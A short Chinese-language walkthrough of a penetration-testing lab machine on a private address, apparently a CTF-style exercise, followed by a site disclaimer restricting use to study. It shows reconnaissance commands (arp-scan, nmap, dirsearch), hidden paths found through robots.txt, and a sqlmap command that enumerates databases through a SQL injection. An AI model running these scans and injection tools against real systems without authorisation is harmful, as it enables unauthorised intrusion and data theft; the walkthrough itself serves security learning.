一、信息收集

1.主机发现

arp-scan -l

2.端口扫描

nmap -sV -p-  192.168.200.16

3.目录扫描

python dirsearch.py -u http://192.168.200.16

扫描出来这两个文件，首先先进入网址查看信息（index.html，这个是网站首页）

二、网站信息

1.网站首页

2.robots.txt

2.1 m3diNf0

2.2 se3reTdir777/uploads/

这个是有两层目录的，uploads禁止访问， 查看上一级的目录文件情况

看到，输入框示意输入数字，出现如下结果说明存在SQL注入

这是一个问题，暂时搁置。

由robots.txt这个文件上面显示里网站那些页面是禁止爬取的，所以二次尝试目录扫描

3.m3diNf0扫描

python dirsearch.py -u http://192.168.200.16/m3diNf0

访问此目录，发现页面显示的是PHP有关信息，并且可以看到当前权限用户是最低级的和网站的根目录

4.se3reTdir777扫描

python dirsearch.py -u http://192.168.200.16/se3reTdir777

三、漏洞利用

SQL注入

使用工具：SQLMAP

3.1爆破数据库

python  sqlmap.py -r 1.txt  --batch --dbs

4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途，否则一切后果请用户自负。

本站信息来自网络，版权争议与本站无关。您必须在下载后的24个小时之内，从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序，请支持正版，购买注册，得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解！

程序来源网络，不确保不包含木马病毒等危险内容，请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱：4ablog168#gmail.com（#换成@）